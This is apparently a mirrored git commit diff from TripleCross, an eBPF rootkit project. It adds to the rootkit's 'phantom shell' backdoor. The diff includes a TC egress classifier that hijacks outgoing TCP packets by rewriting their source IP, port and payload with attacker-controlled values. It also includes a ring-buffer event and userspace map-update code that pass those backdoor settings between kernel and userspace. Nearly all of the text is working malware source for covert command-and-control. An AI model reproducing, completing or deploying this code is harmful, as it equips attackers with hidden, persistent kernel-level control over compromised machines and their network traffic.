mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-20 08:43:07 +08:00
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
This commit is contained in:
Binary file not shown.
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -28,7 +28,7 @@
|
||||
#define CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL 2
|
||||
#define CC_PROT_COMMAND_PHANTOM_SHELL 3
|
||||
|
||||
#define CC_PROT_PHANTOM_COMMAND_LIST_HOOKS 0
|
||||
#define CC_PROT_PHANTOM_SHELL_INIT "CC_PHANTOM_INIT"
|
||||
|
||||
//C&C V3 -- Distributed hidden payload in packet stream + encrypted shell
|
||||
struct trigger_32_t {
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
#ifndef __MAP_COMMON_H
|
||||
#define __MAP_COMMON_H
|
||||
|
||||
#include "struct_common.h"
|
||||
|
||||
// Ring buffer for kernel->user communication
|
||||
#define RB_EVENT_MAX_MESSAGE_SIZE 512
|
||||
typedef enum {
|
||||
@@ -8,13 +10,15 @@ typedef enum {
|
||||
DEBUG,
|
||||
EXIT,
|
||||
ERROR,
|
||||
COMMAND
|
||||
COMMAND,
|
||||
PSH_UPDATE
|
||||
} event_type_t;
|
||||
|
||||
struct rb_event {
|
||||
int pid;
|
||||
char message[RB_EVENT_MAX_MESSAGE_SIZE];
|
||||
int code;
|
||||
struct backdoor_phantom_shell_data bps_data;
|
||||
event_type_t event_type;
|
||||
};
|
||||
|
||||
|
||||
13
src/common/struct_common.h
Normal file
13
src/common/struct_common.h
Normal file
@@ -0,0 +1,13 @@
|
||||
#ifndef __H_STRUCT_COMMON
|
||||
#define __H_STRUCT_COMMON
|
||||
|
||||
|
||||
struct backdoor_phantom_shell_data{
|
||||
int active;
|
||||
unsigned int d_ip;
|
||||
unsigned short d_port;
|
||||
char payload[64];
|
||||
};
|
||||
|
||||
|
||||
#endif
|
||||
@@ -47,11 +47,7 @@ struct backdoor_packet_log_data_16{
|
||||
};
|
||||
|
||||
//Map value, contains data of phantom shell, if active
|
||||
struct backdoor_phantom_shell_data{
|
||||
int active;
|
||||
__u32 d_ip;
|
||||
__u16 d_port;
|
||||
};
|
||||
//In struct_common.h, it is used from userspace and kernel many times, so moved there
|
||||
|
||||
|
||||
struct fs_priv_open{ //Map
|
||||
|
||||
@@ -17,6 +17,7 @@
|
||||
|
||||
#define __H_TCKIT
|
||||
#include "defs.h"
|
||||
#include "../../../common/struct_common.h"
|
||||
#include "../../../common/constants.h"
|
||||
|
||||
SEC("classifier/egress")
|
||||
@@ -45,7 +46,7 @@ int classifier_egress(struct __sk_buff *skb){
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
if(ip->protocol != IPPROTO_TCP){
|
||||
bpf_printk("TCP\n");
|
||||
//bpf_printk("Not TCP\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
@@ -67,9 +68,10 @@ int classifier_egress(struct __sk_buff *skb){
|
||||
bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp);
|
||||
|
||||
__u32 payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||
/*bpf_printk("ip_totlen: %u, tcp_doff*4: %u, ip_ihl: %u\n", ntohs(ip->tot_len), tcp->doff*4, ip->ihl*4);
|
||||
char* payload = (void *)(tcp + tcp->doff*4);
|
||||
if ((void*)payload + payload_size > data_end){
|
||||
bpf_printk("ip_totlen: %u, tcp_doff*4: %u, ip_ihl: %u\n", ntohs(ip->tot_len), tcp->doff*4, ip->ihl*4);
|
||||
//char* payload = (void *)(tcp + tcp->doff*4);
|
||||
char* payload = data_end - payload_size;
|
||||
/*if ((void*)payload + payload_size > data_end){
|
||||
bpf_printk("PAYLOAD CHECK, payload:%llx, payload_size:%llx, data_end:%llx\n", payload, payload_size, data_end);
|
||||
return TC_ACT_OK;
|
||||
}*/
|
||||
@@ -86,10 +88,7 @@ int classifier_egress(struct __sk_buff *skb){
|
||||
struct backdoor_phantom_shell_data ps_new_data = {0};
|
||||
if(ps_data == (void*)0){
|
||||
//Phantom shell not active
|
||||
bpf_printk("Phantom shell NOT active anytime\n");
|
||||
ps_new_data.active = 1;
|
||||
ps_new_data.d_ip = 1;
|
||||
ps_new_data.d_port = 1;
|
||||
bpf_printk("Phantom shell NOT active yet\n");
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
if(err<0){
|
||||
bpf_printk("Fail to update map\n");
|
||||
@@ -97,28 +96,24 @@ int classifier_egress(struct __sk_buff *skb){
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
if(ps_data->active == 0){
|
||||
bpf_printk("Phantom shell NOT active now\n");
|
||||
ps_new_data.active = 1;
|
||||
ps_new_data.d_ip = 1;
|
||||
ps_new_data.d_port = 1;
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
if(err<0){
|
||||
bpf_printk("Fail to update map\n");
|
||||
}
|
||||
bpf_printk("Phantom shell NOT active right now\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
ps_new_data.active = 1;
|
||||
ps_new_data.d_ip = 1;
|
||||
ps_new_data.d_port = 1;
|
||||
//We will complete this request, so we get the backdoor in inactive state
|
||||
ps_new_data.active = 0;
|
||||
ps_new_data.d_ip = ps_data->d_ip;
|
||||
ps_new_data.d_port = ps_data->d_port;
|
||||
__builtin_memcpy(ps_new_data.payload, ps_data->payload, 64);
|
||||
//ps_new_data.payload = ps_data->payload;
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
if(err<0){
|
||||
bpf_printk("Fail to update map\n");
|
||||
}
|
||||
bpf_printk("Phantom shell active now, active is %i\n", ps_data->active);
|
||||
bpf_printk("Phantom shell active now, A:%i IP:%i P:%i\n", ps_data->active, ps_data->d_ip, ps_data->d_port);
|
||||
__u32 new_ip = ps_data->d_ip;
|
||||
__u16 new_port = ps_data->d_port;
|
||||
__u32 offset_ip = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr);
|
||||
__u16 offset_port = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
|
||||
__u32 offset_ip = offsetof(struct iphdr, saddr)+ sizeof(struct ethhdr);
|
||||
__u16 offset_port = offsetof(struct tcphdr, source)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
|
||||
bpf_printk("offset ip: %u\n", offset_ip);
|
||||
int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), BPF_F_RECOMPUTE_CSUM);
|
||||
if (ret < 0) {
|
||||
@@ -132,6 +127,46 @@ int classifier_egress(struct __sk_buff *skb){
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
//We want to substitute the payload too.
|
||||
bpf_printk("Payload: %s\n", payload);
|
||||
if(payload_size>=64){
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
ret = bpf_skb_change_tail(skb, 64-payload_size, 0);
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to enlarge the packet (via tail): %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
//After changing the packet bounds, all the boundaries must be check again
|
||||
eth = data;
|
||||
if ((void *)eth + sizeof(struct ethhdr) > data_end){
|
||||
bpf_printk("ETH\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
ip = (struct iphdr*)(data + sizeof(struct ethhdr));
|
||||
if ((void *)ip + sizeof(struct iphdr) > data_end){
|
||||
bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr));
|
||||
if ((void *)tcp + sizeof(struct tcphdr) > data_end){
|
||||
bpf_printk("TCP CHECK\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||
payload = data_end - payload_size;
|
||||
if(payload<(char*)data || payload_size>=sizeof(char)*64){
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
ret = bpf_skb_store_bytes(skb, payload-(char*)data, ps_data->payload, (sizeof(char)*64)-payload_size, BPF_F_RECOMPUTE_CSUM);
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to overwrite destination port: %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
return TC_ACT_OK;
|
||||
|
||||
}
|
||||
@@ -198,13 +233,13 @@ int classifier_ingress(struct __sk_buff *skb){
|
||||
|
||||
//We redirect whatever packet this is to the rootkit
|
||||
//The TCP retransmissions will be in charge of resending it correctly later
|
||||
__u64 key = 1;
|
||||
/*__u64 key = 1;
|
||||
struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
|
||||
struct backdoor_phantom_shell_data ps_new_data = {0};
|
||||
if(ps_data == (void*)0){
|
||||
//Phantom shell not active
|
||||
bpf_printk("Phantom shell NOT active anytime\n");
|
||||
ps_new_data.active = 1;
|
||||
ps_new_data.active = 4;
|
||||
ps_new_data.d_ip = 1;
|
||||
ps_new_data.d_port = 1;
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
@@ -215,7 +250,7 @@ int classifier_ingress(struct __sk_buff *skb){
|
||||
}
|
||||
if(ps_data->active == 0){
|
||||
bpf_printk("Phantom shell NOT active now\n");
|
||||
ps_new_data.active = 1;
|
||||
ps_new_data.active = 5;
|
||||
ps_new_data.d_ip = 1;
|
||||
ps_new_data.d_port = 1;
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
@@ -224,7 +259,7 @@ int classifier_ingress(struct __sk_buff *skb){
|
||||
}
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
ps_new_data.active = 1;
|
||||
ps_new_data.active = 6;
|
||||
ps_new_data.d_ip = 1;
|
||||
ps_new_data.d_port = 1;
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
@@ -248,7 +283,7 @@ int classifier_ingress(struct __sk_buff *skb){
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to overwrite destination port: %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
}*/
|
||||
|
||||
return TC_ACT_OK;
|
||||
|
||||
|
||||
@@ -63,6 +63,26 @@ static __always_inline int ring_buffer_send_backdoor_command(struct ring_buffer
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Sends an event indicating a received command in the backdoor
|
||||
*
|
||||
* @return 0 if ok, -1 if error
|
||||
*/
|
||||
static __always_inline int ring_buffer_send_request_update_phantom_shell(struct ring_buffer *rb, int pid, int code, struct backdoor_phantom_shell_data data){
|
||||
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
|
||||
if(!event){
|
||||
return -1;
|
||||
}
|
||||
|
||||
event->code = code;
|
||||
event->event_type = PSH_UPDATE;
|
||||
event->pid = pid;
|
||||
event->bps_data = data;
|
||||
|
||||
bpf_ringbuf_submit(event, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -37,8 +37,8 @@ static __always_inline int execute_key_command(int command_received, __u32 ip, _
|
||||
ps_new_data.active = 1;
|
||||
ps_new_data.d_ip = ip;
|
||||
ps_new_data.d_port = port;
|
||||
|
||||
bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
__builtin_memcpy(ps_new_data.payload, CC_PROT_PHANTOM_SHELL_INIT, 16);
|
||||
ring_buffer_send_request_update_phantom_shell(&rb_comm, pid, command_received, ps_new_data);
|
||||
break;
|
||||
|
||||
default:
|
||||
|
||||
@@ -16,6 +16,7 @@
|
||||
#include "../common/constants.h"
|
||||
#include "../common/map_common.h"
|
||||
#include "../common/c&c.h"
|
||||
#include "../common/struct_common.h"
|
||||
#include "include/utils/files/path.h"
|
||||
#include "include/utils/strings/regex.h"
|
||||
#include "include/utils/structures/fdlist.h"
|
||||
@@ -28,6 +29,8 @@
|
||||
goto cleanup\
|
||||
}
|
||||
|
||||
static int FD_TC_MAP;
|
||||
|
||||
static struct env {
|
||||
bool verbose;
|
||||
} env;
|
||||
@@ -132,6 +135,22 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
||||
default:
|
||||
printf("Command received unknown: %d\n", e->code);
|
||||
}
|
||||
}else if(e->event_type == PSH_UPDATE){
|
||||
printf("Requested to update the phantom shell\n");
|
||||
int key = 1;
|
||||
struct backdoor_phantom_shell_data data;
|
||||
int err = bpf_map_lookup_elem(FD_TC_MAP, &key, &data);
|
||||
if(err<0) {
|
||||
printf("Failed to read the shared map\n");
|
||||
return -1;
|
||||
}
|
||||
printf("Pre value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
|
||||
data.active = e->bps_data.active;
|
||||
data.d_ip = e->bps_data.d_ip;
|
||||
data.d_port = e->bps_data.d_port;
|
||||
memcpy(data.payload, e->bps_data.payload, 64);
|
||||
printf("Post value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
|
||||
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
|
||||
}else{
|
||||
printf("%s COMMAND pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
|
||||
return -1;
|
||||
@@ -182,12 +201,6 @@ int check_map_fd_info(int map_fd, struct bpf_map_info *info, struct bpf_map_info
|
||||
return 0;
|
||||
}
|
||||
|
||||
struct backdoor_phantom_shell_data{
|
||||
int active;
|
||||
__u32 d_ip;
|
||||
__u16 d_port;
|
||||
};
|
||||
|
||||
int main(int argc, char**argv){
|
||||
struct ring_buffer *rb = NULL;
|
||||
struct kit_bpf *skel;
|
||||
@@ -267,17 +280,17 @@ int main(int argc, char**argv){
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
int tc_efd = bpf_obj_get("/sys/fs/bpf/tc/globals/backdoor_phantom_shell");
|
||||
printf("TC MAP ID: %i\n", tc_efd);
|
||||
FD_TC_MAP = bpf_obj_get("/sys/fs/bpf/tc/globals/backdoor_phantom_shell");
|
||||
printf("TC MAP ID: %i\n", FD_TC_MAP);
|
||||
map_expect.key_size = sizeof(__u64);
|
||||
map_expect.value_size = sizeof(struct backdoor_phantom_shell_data);
|
||||
map_expect.max_entries = 1;
|
||||
err = check_map_fd_info(tc_efd, &info, &map_expect);
|
||||
err = check_map_fd_info(FD_TC_MAP, &info, &map_expect);
|
||||
if (err) {
|
||||
fprintf(stderr, "ERR: map via FD not compatible\n");
|
||||
return err;
|
||||
}
|
||||
printf("\nCollecting stats from BPF map\n");
|
||||
printf("Collected stats from BPF map:\n");
|
||||
printf(" - BPF map (bpf_map_type:%d) id:%d name:%s"
|
||||
" key_size:%d value_size:%d max_entries:%d\n",
|
||||
info.type, info.id, info.name,
|
||||
@@ -285,11 +298,12 @@ int main(int argc, char**argv){
|
||||
);
|
||||
int key = 1;
|
||||
struct backdoor_phantom_shell_data data;
|
||||
err = bpf_map_lookup_elem(tc_efd, &key, &data);
|
||||
err = bpf_map_lookup_elem(FD_TC_MAP, &key, &data);
|
||||
if(err<0) {
|
||||
printf("Failed to lookup element\n");
|
||||
}
|
||||
printf("%i, %i, %i\n", data.active, data.d_ip, data.d_port);
|
||||
printf("Value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
|
||||
//bpf_map_update_elem(tc_efd, &key, &data, 0);
|
||||
|
||||
/*bpf_obj_get(NULL);
|
||||
char* DIRECTORY_PIN = "/sys/fs/bpf/mymaps";
|
||||
|
||||
Reference in New Issue
Block a user